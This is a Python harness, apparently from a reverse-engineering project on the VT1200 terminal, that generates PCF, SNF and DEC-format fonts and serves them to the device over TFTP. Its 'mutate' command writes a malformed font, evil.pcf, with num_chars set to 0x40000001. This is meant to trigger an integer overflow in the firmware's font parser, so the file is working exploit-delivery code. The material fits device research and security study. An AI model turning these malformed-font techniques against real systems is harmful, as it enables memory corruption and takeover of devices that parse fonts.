mirror of
https://git.k-space.ee/arti/vt1200.git
synced 2026-10-30 12:03:54 +02:00
419 lines
15 KiB
Python
419 lines
15 KiB
Python
#!/usr/bin/env python3
|
|
"""VT1200 font delivery harness.
|
|
|
|
Two jobs:
|
|
|
|
1. **PCF fonts** — parse/modify Portable Compiled Format fonts (the format the
|
|
VT1200's MIT-X11-derived font parser reads; see EXPLOIT_NOTES.md). The
|
|
primitive we care about is the BITMAPS table's ``num_chars`` field, which
|
|
``pcfReadBitmaps`` multiplies by 4 without an overflow check.
|
|
|
|
2. **TFTP server** — the terminal is the TFTP *client* for its font path, so we
|
|
serve the font files (and ``fonts.dir``) to it.
|
|
|
|
CLI::
|
|
|
|
python3 tools/fontgen.py baseline out.pcf
|
|
python3 tools/fontgen.py mutate base.pcf evil.pcf --num-chars 0x40000001
|
|
python3 tools/fontgen.py serve evil.pcf --host 0.0.0.0 --port 69
|
|
"""
|
|
import argparse
|
|
import os
|
|
import socket
|
|
import struct
|
|
import subprocess
|
|
import sys
|
|
import tempfile
|
|
import threading
|
|
import time
|
|
|
|
PCF_MAGIC = b"\x01fcp" # PCF_FILE_VERSION, little-endian ('p','c','f',1)
|
|
PCF_VERSION = 0x70636601
|
|
FMT_MS_BYTE = 1 << 2 # fontlib.h: format bit 2 -> MSBFirst byte order
|
|
|
|
# font.h table labels
|
|
PROPERTIES = 1 << 0
|
|
ACCELERATORS = 1 << 1
|
|
METRICS = 1 << 2
|
|
BITMAPS = 1 << 3
|
|
INK_METRICS = 1 << 4
|
|
ENCODINGS = 1 << 5
|
|
SWIDTHS = 1 << 6
|
|
GLYPH_NAMES = 1 << 7
|
|
BDF_ENCODINGS = 1 << 8
|
|
|
|
LABELS = {
|
|
PROPERTIES: "PROPERTIES", ACCELERATORS: "ACCELERATORS", METRICS: "METRICS",
|
|
BITMAPS: "BITMAPS", INK_METRICS: "INK_METRICS", ENCODINGS: "ENCODINGS",
|
|
SWIDTHS: "SWIDTHS", GLYPH_NAMES: "GLYPH_NAMES", BDF_ENCODINGS: "BDF_ENCODINGS",
|
|
}
|
|
|
|
TFTP_RRQ, TFTP_DATA, TFTP_ACK, TFTP_ERROR = 1, 3, 4, 5
|
|
|
|
|
|
# --------------------------------------------------------------------------- PCF
|
|
|
|
def pcf_tables(data):
|
|
"""Return the table of contents as a list of dicts."""
|
|
if len(data) < 8 or data[:4] != PCF_MAGIC:
|
|
raise ValueError("not a PCF file (bad magic)")
|
|
n = struct.unpack_from("<I", data, 4)[0]
|
|
if 8 + 16 * n > len(data):
|
|
raise ValueError("truncated table of contents")
|
|
tables = []
|
|
for i in range(n):
|
|
label, fmt, size, off = struct.unpack_from("<IIII", data, 8 + 16 * i)
|
|
tables.append({"label": label, "format": fmt, "size": size, "offset": off})
|
|
return tables
|
|
|
|
|
|
def find_table(data, label):
|
|
for t in pcf_tables(data):
|
|
if t["label"] == label:
|
|
return t
|
|
return None
|
|
|
|
|
|
def _order(fmt):
|
|
"""Byte order of a table body, from its format field (FMT_MS_BYTE)."""
|
|
return ">" if (fmt & FMT_MS_BYTE) else "<"
|
|
|
|
|
|
def get_num_chars(data):
|
|
"""The BITMAPS 'num_chars' field at table_offset + 4 (in the table's byte order)."""
|
|
t = find_table(data, BITMAPS)
|
|
if t is None:
|
|
raise ValueError("no BITMAPS table")
|
|
return struct.unpack_from(_order(t["format"]) + "I", data, t["offset"] + 4)[0]
|
|
|
|
|
|
def set_num_chars(data, n):
|
|
"""Return *data* with the BITMAPS num_chars rewritten (bytes untouched elsewhere)."""
|
|
t = find_table(data, BITMAPS)
|
|
if t is None:
|
|
raise ValueError("no BITMAPS table")
|
|
out = bytearray(data)
|
|
struct.pack_into(_order(t["format"]) + "I", out, t["offset"] + 4, n & 0xFFFFFFFF)
|
|
return bytes(out)
|
|
|
|
|
|
# --------------------------------------------------------------------------- BDF
|
|
|
|
BDF_TEMPLATE = """STARTFONT 2.1
|
|
FONT -misc-{name}-medium-r-normal--{h}-{pt}-75-75-c-{avg}-iso8859-1
|
|
SIZE {pt} 75 75
|
|
FONTBOUNDINGBOX {w} {h} 0 -{d}
|
|
STARTPROPERTIES 3
|
|
FONT_ASCENT {a}
|
|
FONT_DESCENT {d}
|
|
DEFAULT_CHAR 0
|
|
ENDPROPERTIES
|
|
CHARS 1
|
|
STARTCHAR {char}
|
|
ENCODING {enc}
|
|
SWIDTH 500 0
|
|
DWIDTH {w} 0
|
|
BBX {w} {h} 0 -{d}
|
|
BITMAP
|
|
{bitmap}
|
|
ENDCHAR
|
|
ENDFONT
|
|
"""
|
|
|
|
|
|
def minimal_bdf(name="vt1200test", char="A", encoding=65, w=8, h=8, ascent=6, descent=2):
|
|
"""A tiny but valid BDF, good enough for bdftopcf.
|
|
|
|
The XLFD uses PIXEL_SIZE={h}, POINT_SIZE={h*10}, AVERAGE_WIDTH={w*10} so the
|
|
name bdftopcf stores is the canonical, 10x-scaled form.
|
|
"""
|
|
rows = ["1C", "3E", "63", "63", "7F", "63", "63", "63"][:h]
|
|
rows += ["00"] * (h - len(rows))
|
|
return BDF_TEMPLATE.format(name=name, char=char, enc=encoding, w=w, h=h,
|
|
a=ascent, d=descent, pt=h * 10, avg=w * 10,
|
|
bitmap="\n".join(rows))
|
|
|
|
|
|
def build_baseline_pcf(out_path, font_name="vt1200test"):
|
|
"""Write a valid PCF font produced by bdftopcf from our generated BDF."""
|
|
with tempfile.TemporaryDirectory() as d:
|
|
bpath = os.path.join(d, "f.bdf")
|
|
with open(bpath, "w") as fh:
|
|
fh.write(minimal_bdf(font_name))
|
|
r = subprocess.run(["bdftopcf", "-o", out_path, bpath],
|
|
capture_output=True, text=True)
|
|
if r.returncode != 0:
|
|
raise SystemExit(f"bdftopcf failed: {r.stderr}")
|
|
return out_path
|
|
|
|
|
|
# --------------------------------------------------------------------------- SNF
|
|
|
|
SNF_VERSION = 4
|
|
SNF_GLYPH = bytes([0x1C, 0x3E, 0x63, 0x63, 0x7F, 0x63, 0x63, 0x63])
|
|
|
|
|
|
def _xcharinfo(metrics, e="<"):
|
|
return struct.pack(e + "6H", *[m & 0xFFFF for m in metrics])
|
|
|
|
|
|
def make_snf(name, char=65, w=8, h=8, ascent=6, descent=2, e="<", dec_magic=False):
|
|
"""Build a minimal SNF (Server Normal Font) file.
|
|
|
|
Layout per snfstr.h: snfFontInfoRec, char-info array, glyphs (padded to a
|
|
32-bit boundary), snfFontPropRec array, then the property string table.
|
|
SNF is CPU/framebuffer dependent, so the byte order must match the host.
|
|
|
|
``dec_magic=True`` stamps version1/version2 with DEC's own value
|
|
(0x01DF5E76 = pi*1e7) instead of the MIT version 4 — the VT1200 firmware
|
|
checks for DEC's value.
|
|
"""
|
|
version = 0x01DF5E76 if dec_magic else SNF_VERSION
|
|
first_col, last_col = 0, 255
|
|
first_row, last_row = 0, 0
|
|
n2d = (last_row - first_row + 1) * (last_col - first_col + 1)
|
|
|
|
glyph = SNF_GLYPH[:h]
|
|
glyphs = glyph + b"\x00" * ((4 - len(glyph) % 4) % 4)
|
|
|
|
metrics = (0, w, w, ascent, descent, 0)
|
|
zero = (0, 0, 0, 0, 0, 0)
|
|
|
|
ci = []
|
|
for code in range(first_col, last_col + 1):
|
|
if code == char:
|
|
word = (0 & 0xFFFFFF) | (1 << 24) # byteOffset=0, exists=1
|
|
ci.append(_xcharinfo(metrics, e) + struct.pack(e + "I", word))
|
|
else:
|
|
ci.append(_xcharinfo(zero, e) + struct.pack(e + "I", 0))
|
|
charinfo = b"".join(ci)
|
|
|
|
strings = name.encode("latin1") + b"\x00"
|
|
nprops = 1
|
|
props = struct.pack(e + "III", 0, 0, 1) # name=0, value=0, indirect
|
|
|
|
minb = _xcharinfo(zero, e) + struct.pack(e + "I", 0)
|
|
maxb = _xcharinfo(metrics, e) + struct.pack(e + "I", len(glyphs))
|
|
|
|
hdr = struct.pack(e + "6I", version, 1, 0, 1, 1, 0)
|
|
hdr += struct.pack(e + "I", 0x0E) # linear|constantWidth|inkInside
|
|
hdr += struct.pack(e + "IIII", first_col, last_col, first_row, last_row)
|
|
hdr += struct.pack(e + "III", nprops, len(strings), char)
|
|
hdr += struct.pack(e + "ii", -descent, ascent)
|
|
hdr += minb + maxb
|
|
hdr += struct.pack(e + "III", 1, 1, version)
|
|
if len(hdr) != 108:
|
|
raise AssertionError(f"SNF header is {len(hdr)} bytes, expected 108")
|
|
return hdr + charinfo + glyphs + props + strings
|
|
|
|
|
|
def make_dec_snf(name="VT1200PROBE1", e="<", hdr=b"\x00" * 0x54, extra=b""):
|
|
"""Minimal DEC font container satisfying the firmware's entry checks.
|
|
|
|
Recovered from the VT1200 reader (0x0ED70A-0x0ED8C0):
|
|
file[0:4] == 0x01DF5E76 (pi*1e7)
|
|
file[4:6] == 0x0054
|
|
file[12:14] == 0x0054 (start of the 0x54-byte header)
|
|
file[44:46] == 0x0001 (header + 0x20)
|
|
file[60:62] == 0x0006 (header + 0x30)
|
|
"""
|
|
h = bytearray(hdr)
|
|
struct.pack_into(e + "H", h, 0x00, 0x54)
|
|
struct.pack_into(e + "H", h, 0x20, 0x01)
|
|
struct.pack_into(e + "H", h, 0x30, 0x06)
|
|
return (struct.pack(e + "I", 0x01DF5E76) # file[0:4]
|
|
+ struct.pack(e + "H", 0x54) # file[4:6]
|
|
+ b"\x00" * 6 # file[6:12]
|
|
+ bytes(h)) + extra
|
|
|
|
|
|
# --------------------------------------------------------------------------- TFTP
|
|
|
|
class TFTPServer:
|
|
"""Minimal RFC 783 TFTP read server (octet mode), single transfer at a time."""
|
|
|
|
def __init__(self, address, files, blksize=512, timeout=2.0, retries=5, resolver=None):
|
|
self.files = dict(files)
|
|
self.resolver = resolver
|
|
self.blksize = blksize
|
|
self.timeout = timeout
|
|
self.retries = retries
|
|
self.log = []
|
|
self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
self._sock.bind(address)
|
|
self._sock.settimeout(timeout)
|
|
self.address = self._sock.getsockname()
|
|
self._stop = threading.Event()
|
|
self._thread = None
|
|
|
|
def start(self):
|
|
self._thread = threading.Thread(target=self._serve, daemon=True)
|
|
self._thread.start()
|
|
return self
|
|
|
|
def stop(self):
|
|
self._stop.set()
|
|
try:
|
|
self._sock.close()
|
|
except OSError:
|
|
pass
|
|
if self._thread:
|
|
self._thread.join(timeout=1)
|
|
|
|
def _serve(self):
|
|
while not self._stop.is_set():
|
|
try:
|
|
data, addr = self._sock.recvfrom(4096)
|
|
except socket.timeout:
|
|
continue # idle: keep serving
|
|
except OSError:
|
|
return # socket closed -> stop
|
|
if len(data) < 4 or data[:2] != TFTP_RRQ.to_bytes(2, "big"):
|
|
continue
|
|
name = data[2:].split(b"\x00", 1)[0].decode("latin1")
|
|
self.log.append((time.time(), name, addr))
|
|
try:
|
|
content = self.files.get(name)
|
|
if content is None and self.resolver is not None:
|
|
content = self.resolver(name)
|
|
if content is None:
|
|
self._send_error(addr, 1, "File not found")
|
|
continue
|
|
self._send_file(addr, content)
|
|
except Exception as exc: # never let one transfer kill the server
|
|
print(f"tftp: transfer error for {name!r}: {exc!r}", file=sys.stderr)
|
|
|
|
def _send_error(self, addr, code, msg):
|
|
pkt = TFTP_ERROR.to_bytes(2, "big") + code.to_bytes(2, "big") + msg.encode() + b"\x00"
|
|
try:
|
|
self._sock.sendto(pkt, addr)
|
|
except OSError:
|
|
pass
|
|
|
|
def _send_file(self, addr, content):
|
|
if content:
|
|
blocks = [content[i:i + self.blksize] for i in range(0, len(content), self.blksize)]
|
|
if len(content) % self.blksize == 0:
|
|
blocks.append(b"") # short block terminates the transfer
|
|
else:
|
|
blocks = [b""]
|
|
for idx, blk in enumerate(blocks, start=1):
|
|
num = idx & 0xFFFF
|
|
pkt = TFTP_DATA.to_bytes(2, "big") + num.to_bytes(2, "big") + blk
|
|
for _ in range(self.retries):
|
|
if self._stop.is_set():
|
|
return
|
|
try:
|
|
self._sock.sendto(pkt, addr)
|
|
except OSError as exc:
|
|
print(f"tftp: sendto {addr} failed: {exc!r}", file=sys.stderr, flush=True)
|
|
return
|
|
try:
|
|
resp, raddr = self._sock.recvfrom(4096)
|
|
except OSError:
|
|
continue
|
|
if raddr != addr:
|
|
continue
|
|
if len(resp) >= 2 and resp[:2] == TFTP_ERROR.to_bytes(2, "big"):
|
|
print(f"tftp: client aborted transfer: "
|
|
f"{resp[2:].decode('latin1', 'replace')!r}",
|
|
file=sys.stderr, flush=True)
|
|
return
|
|
if (len(resp) >= 4 and resp[:2] == TFTP_ACK.to_bytes(2, "big")
|
|
and int.from_bytes(resp[2:4], "big") == num):
|
|
break
|
|
else:
|
|
return
|
|
if self._stop.is_set():
|
|
return
|
|
|
|
|
|
# --------------------------------------------------------------------------- CLI
|
|
|
|
def main(argv=None):
|
|
ap = argparse.ArgumentParser(description=__doc__,
|
|
formatter_class=argparse.RawDescriptionHelpFormatter)
|
|
sub = ap.add_subparsers(dest="cmd", required=True)
|
|
|
|
b = sub.add_parser("baseline", help="generate a valid PCF via bdftopcf")
|
|
b.add_argument("out")
|
|
b.add_argument("--name", default="vt1200test")
|
|
|
|
m = sub.add_parser("mutate", help="rewrite BITMAPS num_chars")
|
|
m.add_argument("infile")
|
|
m.add_argument("out")
|
|
m.add_argument("--num-chars", type=lambda s: int(s, 0), default=0x40000001)
|
|
|
|
s = sub.add_parser("serve", help="serve a font over TFTP")
|
|
s.add_argument("font")
|
|
s.add_argument("--host", default="0.0.0.0")
|
|
s.add_argument("--port", type=int, default=69)
|
|
s.add_argument("--name", default="font.DECW$FONT")
|
|
s.add_argument("--fonts-dir", help="also serve this file as 'fonts.dir'")
|
|
|
|
a = sub.add_parser("info", help="print a PCF's table of contents")
|
|
a.add_argument("infile")
|
|
|
|
n = sub.add_parser("snf", help="generate a minimal SNF font")
|
|
n.add_argument("out")
|
|
n.add_argument("--name", default="VT1200PROBE1")
|
|
n.add_argument("--dec-magic", action="store_true",
|
|
help="stamp DEC's version (pi*1e7) instead of MIT's 4")
|
|
n.add_argument("--dec-layout", action="store_true",
|
|
help="emit the DEC container layout the firmware checks for")
|
|
|
|
args = ap.parse_args(argv)
|
|
|
|
if args.cmd == "baseline":
|
|
build_baseline_pcf(args.out, args.name)
|
|
print(f"wrote {args.out}")
|
|
elif args.cmd == "mutate":
|
|
with open(args.infile, "rb") as fh:
|
|
data = fh.read()
|
|
was = get_num_chars(data)
|
|
out = set_num_chars(data, args.num_chars)
|
|
with open(args.out, "wb") as fh:
|
|
fh.write(out)
|
|
print(f"BITMAPS num_chars: {was} (0x{was:X}) -> {args.num_chars} (0x{args.num_chars:X})")
|
|
print(f"wrote {args.out} ({len(out)} bytes)")
|
|
elif args.cmd == "info":
|
|
with open(args.infile, "rb") as fh:
|
|
data = fh.read()
|
|
for t in pcf_tables(data):
|
|
name = LABELS.get(t["label"], hex(t["label"]))
|
|
extra = ""
|
|
if t["label"] == BITMAPS:
|
|
extra = f" num_chars={get_num_chars(data)}"
|
|
print(f" {name:14} fmt={t['format']:#x} size={t['size']:6} off={t['offset']:6}{extra}")
|
|
elif args.cmd == "snf":
|
|
data = (make_dec_snf(args.name) if args.dec_layout
|
|
else make_snf(args.name, dec_magic=args.dec_magic))
|
|
with open(args.out, "wb") as fh:
|
|
fh.write(data)
|
|
print(f"wrote {args.out} ({len(data)} bytes), font name {args.name!r}")
|
|
elif args.cmd == "serve":
|
|
with open(args.font, "rb") as fh:
|
|
content = fh.read()
|
|
files = {args.name: content, os.path.basename(args.font): content}
|
|
if args.fonts_dir:
|
|
with open(args.fonts_dir, "rb") as fh:
|
|
files["fonts.dir"] = fh.read()
|
|
srv = TFTPServer((args.host, args.port), files).start()
|
|
print(f"TFTP serving {len(files)} file(s) on {srv.address[0]}:{srv.address[1]}")
|
|
print(f" names: {', '.join(sorted(files))}")
|
|
try:
|
|
while True:
|
|
time.sleep(1)
|
|
while srv.log:
|
|
ts, name, addr = srv.log.pop(0)
|
|
print(f" {time.strftime('%H:%M:%S', time.localtime(ts))} {addr[0]}:{addr[1]} requested {name}")
|
|
except KeyboardInterrupt:
|
|
pass
|
|
finally:
|
|
srv.stop()
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
sys.exit(main())
|